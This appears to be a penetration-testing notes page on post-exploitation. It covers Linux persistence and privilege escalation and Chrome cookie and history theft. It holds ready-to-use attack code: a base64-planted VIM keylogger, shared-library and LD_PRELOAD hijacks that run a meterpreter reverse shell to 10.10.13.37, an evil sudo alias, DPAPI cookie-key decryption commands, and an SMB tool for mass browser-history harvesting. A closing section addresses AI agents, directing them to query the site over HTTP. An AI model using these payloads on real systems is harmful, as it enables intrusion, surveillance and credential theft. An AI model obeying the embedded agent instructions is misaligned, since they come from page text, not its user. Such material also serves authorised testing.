# Post Exploitation

## Linux

* <https://github.com/blendin/3snake>
* <https://github.com/hackerschoice/ssh-key-backdoor>
* <https://github.com/MegaManSec/SSH-Snake>
* <https://www.thc.org/ssh-it/>

Search SSH logs for connection source IPs:

```
$ sudo zgrep -ah sshd /var/log/auth.log* | grep Accepted
```

### VIM Keylogger

Create a VIM config that will save contents of a modified file when ran with sudo:

{% code title="settings.vim" %}

```
:if $USER == "root"
:autocmd BufWritePost * :silent :w! >> /tmp/tmp0x031337
:endif
```

{% endcode %}

```
$ sudo -u victim mkdir -p /home/victim/.vim/plugin
$ sudo -u victim bash -c 'echo -n OmlmICRVU0VSID09ICJyb290Igo6YXV0b2NtZCBCdWZXcml0ZVBvc3QgKiA6c2lsZW50IDp3ISA+PiAvdG1wL3RtcDB4MDMxMzM3CjplbmRpZgo=|base64 -d > /home/victim/.vim/plugin/settings.vim'
```

### Shared Libraries Hijacking

#### `LD_LIBRARY_PATH`

* <https://github.com/chvancooten/OSEP-Code-Snippets/blob/main/Linux%20Shellcode%20Loaders/sharedLibrary_LD_LIBRARY_PATH.c>

For example, target executable will be `/usr/bin/top`.

Code skeleton:

{% code title="fakelib.c" %}

```c
#include <sys/mman.h>
#include <stdlib.h>
#include <stdio.h>
#include <dlfcn.h>
#include <unistd.h>

static void hijack() __attribute__((constructor));

// msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.13.37 LPORT=1337 -f c -o met.c --encrypt xor --encrypt-key a
unsigned char buf[] = 
"\x31\x33\...\x33\x37";

void hijack() {
	setuid(0);
	setgid(0);
	printf("Library hijacked!\n");
	int bufsize = (int)sizeof(buf);
	for (int i = 0; i < bufsize-1; i++) { buf[i] = buf[i] ^ 'a'; }
	intptr_t pagesize = sysconf(_SC_PAGESIZE);
	mprotect((void *)(((intptr_t)buf) & ~(pagesize - 1)), pagesize, PROT_READ|PROT_EXEC);
	int (*ret)() = (int(*)())buf;
	ret();
}
```

{% endcode %}

Get all shared libraries loaded by target executable:

```
$ ldd /usr/bin/top
...
libgpg-error.so.0 => /lib/x86_64-linux-gnu/libgpg-error.so.0
```

We'll be targeting the `libgpg-error.so.0` library. Include defined symbols of the original library in our custom library:

```
$ readelf -s --wide /lib/x86_64-linux-gnu/libgpg-error.so.0 | grep FUNC | grep GPG_ERROR | awk '{print "int",$8}' | sed 's/@@GPG_ERROR_1.0/;/g' >> fakelib.c
```

Create a map file with version information of defined symbols:

```
$ echo 'GPG_ERROR_1.0 {' > gpg.map
$ readelf -s --wide /lib/x86_64-linux-gnu/libgpg-error.so.0 | grep FUNC | grep GPG_ERROR | awk '{print $8}' | sed 's/@@GPG_ERROR_1.0/;/g' >> gpg.map
$ echo '};' >> gpg.map
```

Prepare the listener, compile, export `LD_LIBRARY_PATH` and run top:

```
$ gcc -Wall -fPIC -c -o fakelib.o fakelib.c
$ gcc -shared -Wl,--version-script gpg.map -o libgpg-error.so.0 fakelib.o
$ sudo LD_LIBRARY_PATH=/home/snovvcrash/ldlib top
```

#### `LD_PRELOAD`

* <https://github.com/chvancooten/OSEP-Code-Snippets/blob/main/Linux%20Shellcode%20Loaders/sharedLibrary_LD_PRELOAD.c>
* <https://github.com/MatheuZSecurity/ElfDoor-gcc>

For example, target executable will be `/bin/cp`.

Determine which functions are executed by `/bin/cp` via `LD_PRELOAD`:

```
$ ltrace cp
...
getuid()
...
```

We'll be hooking the `getuid()` function:

{% code title="evilgetuid.c" %}

```c
#define _GNU_SOURCE
#include <sys/mman.h>
#include <stdlib.h>
#include <stdio.h>
#include <dlfcn.h>
#include <unistd.h>

// msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.13.37 LPORT=1337 -f c -o met.c --encrypt xor --encrypt-key a
unsigned char buf[] = 
"\x31\x33\...\x33\x37";

uid_t geteuid(void)
{
		typeof(geteuid) *getuid_orig;
		getuid_orig = dlsym(RTLD_NEXT, "geteuid");

		if (fork() == 0) // if inside the forked process
		{
				setuid(0);
				setgid(0);
				printf("Function hooked!\n");

				int bufsize = (int)sizeof(buf);
				for (int i = 0; i < bufsize-1; i++) {
					buf[i] = buf[i] ^ 'a';
				}

				intptr_t pagesize = sysconf(_SC_PAGESIZE);
				if (mprotect((void *)(((intptr_t)buf) & ~(pagesize - 1)), pagesize, PROT_READ|PROT_EXEC)) {
						perror("mprotect");
						return -1;
				}

				int (*ret)() = (int(*)())buf;
				ret();
		}
		else // if inside the original process
		{
				printf("Returning from original...\n");
				return (*getuid_orig)();
		}

		printf("Returning from main...\n");
		return -2;
}
```

{% endcode %}

Compile:

```
$ gcc -Wall -fPIC -z execstack -c -o evilgetuid.o evilgetuid.c
$ gcc -shared -o evilgetuid.so evilgetuid.o -ldl
```

Create an evil alias to preserve environment variables when running `cp` with sudo (good candidates are `.bashrc` and `.bash_profile`):

```
alias sudo="sudo LD_PRELOAD=/home/victim/evilgetuid.so"
```

Run the target executable:

```
$ sudo cp /etc/passwd /tmp/passwd
```

## Browsers

### Chrome / Chromium

* <https://posts.specterops.io/stalking-inside-of-your-chromium-browser-757848b67949>
* <https://mrd0x.com/spying-with-chromium-browsers-screensharing/>
* <https://mrd0x.com/spying-with-chromium-browsers-camera/>
* <https://trustedsec.com/blog/dragging-secrets-out-of-chrome-ntlm-hash-leaks-via-file-urls>

#### Local State Key Decryption (v20+)

* <https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html>
* <https://gist.github.com/snovvcrash/caded55a318bbefcb6cc9ee30e82f824>
* <https://specterops.io/blog/2025/08/27/dough-no-revisiting-cookie-theft/>

Local state key manual decryption (via DPAPI):

```
$ get C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State
$ cat 'Local State' | jq '.os_crypt.encrypted_key' -r | base64 -d | tail -c +6 | base64 -w0; echo
PS > Add-Type -AssemblyName System.Security
PS > $decrypted = [Convert]::ToBase64String([System.Security.Cryptography.ProtectedData]::Unprotect([Convert]::FromBase64String("<BASE64_BLOB>"), $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser))
PS > !echo -n $decrypted | base64 -d | od -v -An -tx1 | tr -d ' \n'; echo
PS > .\SharpChrome.exe cookies /statekey:$stateKey
```

App-bound local state key manual decryption (via DPAPI) doing LocalSystem to User context swap:

```
$ get C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State
$ cat 'Local State' | jq '.os_crypt.app_bound_encrypted_key' -r | base64 -d | tail -c +5 | base64 -w0; echo
PS (LocalSystem) > Add-Type -AssemblyName System.Security
PS (LocalSystem) > $systemDecrypted = [Convert]::ToBase64String([System.Security.Cryptography.ProtectedData]::Unprotect([Convert]::FromBase64String("<BASE64_BLOB>"), $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser))
PS (User) > $userDecrypted = [System.Security.Cryptography.ProtectedData]::Unprotect([Convert]::FromBase64String($systemDecrypted), $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser)
PS (User) > [Text.Encoding]::ASCII.GetString($userDecrypted)
# Chromium
PS (User) > $stateKey = ($userDecrypted[-32..-1] | % ToString x2) -join ''
# Chrome
## AES GCM (flag == decrypted_key[0] == 0x01)
$ python -c "import binascii; from Crypto.Cipher import AES; user_decrypted = '$userDecrypted'; decrypted_key = binascii.a2b_base64(user_decrypted)[-61:]; elevation_service_key = bytes.fromhex('B31C6E241AC846728DA9C1FAC4936651CFFB944D143AB816276BCC6DA0284787'); cipher = AES.new(elevation_service_key, AES.MODE_GCM, nonce=decrypted_key[1:1+12]); print(cipher.decrypt_and_verify(decrypted_key[13:45], decrypted_key[45:]).hex())"
## ChaCha20 (flag == decrypted_key[0] == 0x02)
$ python -c "import binascii; from Crypto.Cipher import ChaCha20_Poly1305; user_decrypted = '$userDecrypted'; decrypted_key = binascii.a2b_base64(user_decrypted)[-61:]; elevation_service_key = bytes.fromhex('E98F37D7F4E1FA433D19304DC2258042090E2D1D7EEA7670D41F738D08729660'); cipher = ChaCha20_Poly1305.new(key=elevation_service_key, nonce=decrypted_key[1:1+12]); print(cipher.decrypt_and_verify(decrypted_key[13:45], decrypted_key[45:]).hex())"
PS (User) > .\SharpChrome.exe cookies /statekey:$stateKey
```

**Tools**

* <https://github.com/xaitax/Chrome-App-Bound-Encryption-Decryption>
* <https://github.com/runassu/chrome_v20_decryption>
* <https://github.com/KingOfTheNOPs/cookie-monster>
* <https://github.com/The-Viper-One/Invoke-PowerChrome>

#### Mass History Harvesting

Collect SQLite history DBs:

```
$ cat get_browser_history.cmd
use c$
getBrowserHistory edge chrome
$ for comp in `cat comps.txt`; do KRB5CCNAME=tickets/"`echo $comp | cut -d'.' -f1`".ccache proxychains4 -q smbclient.py -k -no-pass $comp -inputfile get_browser_history.cmd; sleep 2; done
```

Impacket's **smbclient.py** extension and parsing code to extract latest visits per a domain from `urls` table:

{% tabs %}
{% tab title="Extension" %}
{% code title="getBrowserHistory.py" %}

```python
def do_getBrowserHistory(self, browsers):
	browsers = [name.lower() for name in browsers.split()]
	for browser in browsers:
		if browser not in ('edge', 'chrome'):
			LOG.error(f'Unsupported browser: {browser}')
			return False

	usernames = []
	try:
		for item in self.smb.listPath(self.share, '\\Users\\*'):
			username = item.get_longname()
			if item.is_directory() and username not in ('.', '..'):
				usernames.append(username)
	except Exception as e:
		LOG.error(f'Failed to enumerate user homes: {e}')
		return False

	browser_configs = dict.fromkeys(browsers, [])
	for browser in browsers:
		if browser == 'edge':
			browser_configs[browser] = ('msedge.exe', 'Microsoft\\Edge')
		elif browser == 'chrome':
			browser_configs[browser] = ('chrome.exe', 'Google\\Chrome')

	history_to_get = dict.fromkeys(browsers, [])
	for browser, config in browser_configs.items():
		for username in usernames:
			browser_history_path = f'\\Users\\{username}\\AppData\\Local\\{config[1]}\\User Data\\Default\\History'
			try:
				_ = self.smb.listPath(self.share, browser_history_path)
			except:
				pass
			else:
				history_to_get[browser].append((browser_history_path, f'{username}_Default'))
			browser_history_path = f'\\Users\\{username}\\AppData\\Local\\{config[1]}\\User Data\\Profile*'
			try:
				for profile in self.smb.listPath(self.share, browser_history_path):
					profile = profile.get_longname()
					browser_history_path = browser_history_path.rsplit('\\', 1)[0] + f'\\{profile}\\History'
					history_to_get[browser].append((browser_history_path, f'{username}_{profile.replace(" ", "")}'))
			except:
				pass

	for browser, histories in history_to_get.items():
		if histories:
			for history in histories:
				history_path, username = history
				self.do_get(history_path)
				new_history_name = f'history_{self.target_name}_{username}_{browser}_{datetime.now().strftime("%Y%m%dT%H%M%S")}.sqlite'
				os.rename('History', new_history_name)
				if Path(new_history_name).exists():
					LOG.info(f'Downloaded "C:{history_path}" to "{new_history_name}"')
```

{% endcode %}
{% endtab %}

{% tab title="Parse Latest URLs" %}
{% code title="parse\_urls.py" %}

```python
# python -u parse_urls.py | grep -i megacorp.com | less

import os
import sqlite3
from urllib.parse import urlparse
from datetime import datetime, timezone

def convert_chromium_time(webkit_timestamp):
    try:
        unix_timestamp = webkit_timestamp / 1000000 - 11644473600
        return datetime.fromtimestamp(unix_timestamp, timezone.utc)
    except Exception as e:
        return None

def extract_domain_latest_visit(db_path):
    domain_latest = {}
    try:
        conn = sqlite3.connect(db_path)
        cursor = conn.cursor()
        query = """
        SELECT urls.url, visits.visit_time
        FROM urls
        JOIN visits ON urls.id = visits.url;
        """
        cursor.execute(query)
        rows = cursor.fetchall()
        for url, visit_time in rows:
            parsed = urlparse(url)
            domain = parsed.netloc
            dt = convert_chromium_time(visit_time)
            if dt is None:
                continue
            if domain not in domain_latest or dt > domain_latest[domain]:
                domain_latest[domain] = dt
    except Exception as e:
        print(f'[!] Failed to process DB "{db_path}": {e}')
    finally:
        if 'conn' in locals():
            conn.close()
    return domain_latest

def main():
    for db in [f for f in os.listdir('.') if os.path.isfile(f) and f.endswith('.sqlite')]:
        domain_latest = extract_domain_latest_visit(db)
        if domain_latest:
            for domain, dt in sorted(domain_latest.items(), key=lambda x: x[1], reverse=True):
                print(f'{db}: {domain} ({dt.strftime("%Y-%m-%d %H:%M:%S")})')

if __name__ == '__main__':
    main()
```

{% endcode %}
{% endtab %}
{% endtabs %}

#### Yandex Browser

* <https://github.com/Goodies365/YandexDecrypt>
* <https://github.com/akhomlyuk/Ya_Decrypt>

#### Tools

**cookie\_crimes**

{% embed url="<https://twitter.com/an0n_r0/status/1605714291717554185>" %}

* <https://mango.pdf.zone/stealing-chrome-cookies-without-a-password>
* <https://github.com/defaultnamehere/cookie_crimes>

**CursedChrome**

* <https://www.ired.team/offensive-security/lateral-movement/man-in-the-browser-via-chrome-extension>
* <https://github.com/mandatoryprogrammer/CursedChrome>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://ppn.snovvcra.sh/pentest/infrastructure/post-exploitation.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
